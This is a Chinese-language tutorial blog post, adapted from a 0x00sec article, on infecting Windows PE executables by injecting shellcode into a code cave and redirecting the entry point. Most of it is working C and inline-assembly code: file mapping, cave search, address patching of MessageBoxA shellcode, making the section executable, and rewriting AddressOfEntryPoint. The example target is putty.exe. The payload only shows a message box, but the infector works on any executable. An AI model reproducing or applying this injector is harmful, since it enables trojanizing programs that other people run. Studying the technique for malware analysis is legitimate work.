链接:https://0x00sec.org/t/pe-file-infection/401
由于PE文件中每节的内容是按规律排列的,因此节与节之间会有空隙存在,因此可以将我们的代码(shell code
)插入这些空隙(code cave
)中。
程序流程如下:
- 以可读写方式打开文件
- 提取PE文件信息
- 找一个大小合适的
code cave
- 根据目标修正
shellcode
的一些信息(如调用函数的地址) - 需要额外数据来使
shellcode
工作(重定位) - 将
shellcode
注入程序中并修改entry point
1.打开文件
首先,我们需要使用具有读取和写入访问权限的CreateFile
函数获取文件的句柄,以便我们能够从文件读取数据并将数据写入文件。 我们还需要获取任务的文件大小。CreateFileMapping
函数创建映射的句柄。 我们指定读写权限(与CreateFile相同),还要指定要使映射的最大大小,即文件的大小。获取文件映射的句柄后,我们可以创建映射本身。MapViewOfFile
函数将文件映射到我们的内存空间,并返回一个指向映射文件开头的指针,即文件的开头。 这里我们将返回值转换为与无符号字符值相同的字节的指针。
if (argc < 2) {
fprintf(stderr, "Usage: %s <TARGET FILE>\n", argv[0]);
return 1;
}
HANDLE hFile = CreateFile(argv[1], FILE_READ_ACCESS | FILE_WRITE_ACCESS,
0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);//提取文件句柄
DWORD dwFileSize = GetFileSize(hFile, NULL);//得到文件大小
HANDLE hMapping = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, dwFileSize, NULL);//创建`filemapping`的句柄,大小设置为原文件大小
LPBYTE lpFile = (LPBYTE)MapViewOfFile(hMapping, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, dwFileSize);//将该`filemapping`装入内存,返回指向开头的指针
2.提取PE文件信息
我们要求目标文件是合法的PE文件,因此需要验证MZ和PE\0\0签名。
一旦我们验证并且目标文件适合感染,我们需要获得原始入口点(OEP),以便在shellcode
完成执行后我们可以跳回它。 在这里,我们还通过从头开始减去shellcode
的结尾来计算shellcode
的大小。
// check if valid pe file
if (VerifyDOS(GetDosHeader(lpFile)) == FALSE ||
VerifyPE(GetPeHeader(lpFile)) == FALSE) {
fprintf(stderr, "Not a valid PE file\n");
return 1;
}
PIMAGE_NT_HEADERS pinh = GetPeHeader(lpFile);//文件头
PIMAGE_SECTION_HEADER pish = GetLastSectionHeader(lpFile);//最后一节的起始处
// 得到原始的entry point(OEP)
DWORD dwOEP = pinh->OptionalHeader.AddressOfEntryPoint +
pinh->OptionalHeader.ImageBase;//可用cff explorer验证
DWORD dwShellcodeSize = (DWORD)ShellcodeEnd - (DWORD)ShellcodeStart;//计算shellcode大小,shellcode是调用messagebox的汇编代码
3. 找一个大小合适的code cave
我们从之前的代码部分获得了pish
,它是一个指向最后一个部分头部的指针。使用头信息,我们可以计算指向该部分代码开头的起始位置dwPosition
,将使用文件dwFileSize的大小作为停止条件读取文件的末尾。
我们创建了一个循环,从段的开始到结束(文件结尾),每当我们遇到一个空字节时,我们将增加dwCount
变量,否则重置。如果存在不是空字节的字节,则返回值。如果dwCount
达到shellcode
的大小,我们将找到一个可以容纳它的code cave
。然后我们需要用shellcode
的大小来减去dwPosition
,因为我们需要得到code cave
开始的偏移位置。如果由于某些原因我们无法找到code cave
,dwCount
应该是大小为0,如果循环无法启动,dwPosition
也将为0。
DWORD dwCount = 0;
DWORD dwPosition = 0;
for (dwPosition = pish->PointerToRawData; dwPosition < dwFileSize; dwPosition++) //从最后一节的起始处开始找
{
if (*(lpFile + dwPosition) == 0x00) {//空白处是否足够大
if (dwCount++ == dwShellcodeSize) {
//dwPosition指向code cave的起始处
dwPosition -= dwShellcodeSize;
break;
}
} else {
//如果没有找到足够大小则重新计数
dwCount = 0;
}
}
//所有节都不合适
if (dwCount == 0 || dwPosition == 0) {
return 1;
}
4. 根据目标修正shellcode
的一些信息
shellcode
即注入代码,即调用Messagebox的汇编语言。它从pushad
开始,这是一个将所有寄存器推送到堆栈的指令,我们需要这样做来保存为程序运行而设置的进程的上下文。 一旦处理完毕,我们就可以执行我们的例程。
在程序运行完成之后,我们用popad
恢复寄存器值,推送OEP的地址并返回,有效地跳回到原始入口点,以便程序可以正常运行。
注意应当应__declspec(naked)
函数,确保编译器不会对该代码进行优化,否则会找不到我们用作标记的0xAAAAAAAA
地址。shellcode
的内容:
#define db(x) __asm _emit x
__declspec(naked) ShellcodeStart(VOID) {
__asm {
pushad //首先保存所有寄存器的值
call routine
routine:
pop ebp //保存返回地址
sub ebp, offset routine
push 0 // MB_OK
lea eax, [ebp + szCaption]
push eax // lpCaption
lea eax, [ebp + szText]
push eax // lpText
push 0 // hWnd
mov eax, 0xAAAAAAAA
call eax // MessageBoxA
popad
push 0xAAAAAAAA // OEP
ret
szCaption:
db('d') db('T') db('m') db(' ') db('W') db('u') db('Z') db(' ')
db('h') db('3') db('r') db('e') db(0)
szText :
db('H') db('a') db('X') db('X') db('0') db('r') db('3') db('d')
db(' ') db('b') db('y') db(' ') db('d') db('T') db('m') db(0)
}
}
VOID ShellcodeEnd() {
}
因此,我们将需要在User32.DLL
中找到的功能MessageBoxA
的地址。 首先,我们需要一个使用LoadLibrary
函数得到User32.DLL
的句柄。 然后,我们将使用GetProcAddress
的句柄来检索该函数的地址。 一旦得到它,我们可以将地址复制到shellcode
中,以便它可以调用MessageBoxA
函数。
// 获得user32.dll的地址
HMODULE hModule = LoadLibrary("user32.dll");
LPVOID lpAddress = GetProcAddress(hModule, "MessageBoxA");
// 创建一个足够容纳shellcode的缓冲区
HANDLE hHeap = HeapCreate(0, 0, dwShellcodeSize);
LPVOID lpHeap = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, dwShellcodeSize);
// 将shellcode放入缓冲区
memcpy(lpHeap, ShellcodeStart, dwShellcodeSize);
5. 需要更多的信息来使shellcode
工作(重定位)
由于shellcode
将被放在另一个程序的内存中,我们无法控制这个地址在哪里,因此需要重定位来动态计算地址:
当例程被调用时,会立即将返回地址pop ebp
(这是例程的地址)弹出到基指针寄存器中。然后用例程的地址减去基指针寄存器的值,最终导致0。我们可以通过简单地将它们的地址添加到基指针寄存器来计算字符串变量szCaption
和szText
的地址,然后将MessageBoxA的参数推送到堆栈上,调用该函数。
// 修改函数的地址的偏移
DWORD dwIncrementor = 0;
for (; dwIncrementor < dwShellcodeSize; dwIncrementor++) {
if (*((LPDWORD)lpHeap + dwIncrementor) == 0xAAAAAAAA) {//AAAAAAAA是刚才标记的需要修改的地址
// 插入函数地址
*((LPDWORD)lpHeap + dwIncrementor) = (DWORD)lpAddress;
FreeLibrary(hModule);
break;
}
}
// 修改OEP偏移(entry point)
for (; dwIncrementor < dwShellcodeSize; dwIncrementor++) {
if (*((LPDWORD)lpHeap + dwIncrementor) == 0xAAAAAAAA) {
// 两个AAAAAAAA都需要修改
*((LPDWORD)lpHeap + dwIncrementor) = dwOEP;
break;
}
}
6. 将shellcode
注入程序中并修改entry point
已经得到了完整的shellcode
,我们可以使用memcpy
将其注入到映射文件中。 鉴于我们用dwPosition
保存了code cave
的偏移量,使用它来从lpFile
指向的文件的开头计算它。 我们只需复制shellcode
缓冲区的大小。
另外需要更新头文件中的一些值。 部分VirtualSize
需要更改以包括shellcode
的大小。并让该部分可执行。最后,AddressOfEntryPoint
需要指向shellcode
隐藏的code cave
的开头。
// 将shellcode装入code cave
memcpy((LPBYTE)(lpFile + dwPosition), lpHeap, dwShellcodeSize);
HeapFree(hHeap, 0, lpHeap);
HeapDestroy(hHeap);
// 更新PE的信息
pish->Misc.VirtualSize += dwShellcodeSize;
// 让该节可执行
pish->Characteristics |= IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE;
// 设置entry point
// RVA = file offset + virtual offset - raw offset
pinh->OptionalHeader.AddressOfEntryPoint = dwPosition + pish->VirtualAddress - pish->PointerToRawData;
return 0;//程序结束
试错无数次之后终于把程序运行起来了qwq,之前出错的状况是:将shellcode
装入缓冲区之后,*((LPDWORD)lpHeap + dwIncrementor) == 0xAAAAAAAA
出错,找不到 0xAAAAAAAA
这个值。说明即使是用__declspec(naked)
还是改变了汇编。
解决方案仍然是随手百度得到的:http://blog.jobbole.com/52819/
为了确保能生成可用作shellcode
这样特定格式的代码,需要设置:
1、使用Release模式。近来编译器的Debug模式可能产生逆序的函数,并且会插入许多与位置相关的调用。
2、禁用优化。编译器会默认优化那些没有使用的函数,而那可能正是我们所需要的。
3、禁用栈缓冲区安全检查(/Gs)。在函数头尾所调用的栈检查函数,存在于二进制文件的某个特定位置,导致输出的函数不能重定位,这对shellcode是无意义的。
在进行以上配置后,会出现const.char
类型形参与LPWSTR
类型的实参不兼容等类似报错,即使将字符集改成使用多字节字符集仍然报错。
解决方案:将 char*
类型的szStr转换成WCHAR
(LPWSTR
)类型:
char* szStr = "C://Users/yingtaomj/Desktop/putty.exe";
WCHAR wszClassName[256];
memset(wszClassName, 0, sizeof(wszClassName));
MultiByteToWideChar(CP_ACP, 0, szStr, strlen(szStr) + 1, wszClassName,
sizeof(wszClassName) / sizeof(wszClassName[0]));
效果如图: